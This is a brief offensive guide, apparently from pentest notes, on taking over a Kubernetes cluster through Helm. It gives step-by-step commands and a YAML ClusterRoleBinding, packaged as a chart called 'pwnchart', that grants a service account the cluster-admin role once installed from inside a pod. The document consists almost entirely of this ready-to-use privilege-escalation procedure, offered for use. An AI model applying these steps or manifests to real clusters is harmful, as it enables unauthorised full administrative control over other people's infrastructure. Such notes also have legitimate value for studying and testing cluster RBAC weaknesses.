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Helm attack

You can apply any kubernetes .yaml files via Helm.

Create helm chart to give you cluster-admin role

  1. helm create pwnchart

  2. Navigate to ./pwnchart/templates/

  3. Create a .yaml like a regualar kubernetes yaml, e.g clusterrolebinding.

apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
  name: kekpwned
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
  - kind: ServiceAccount
    namespace: {{ .Values.namespace }}
    name: {{ .Values.name }}

  1. helm package pwnchart

  2. Upload pwnchart-<version>.tgz to pod and run helm install pwnchart-<version>.tgz

A demo chart is provided in pwnchart folder

Run helm package pwnchart to create a .tgz archive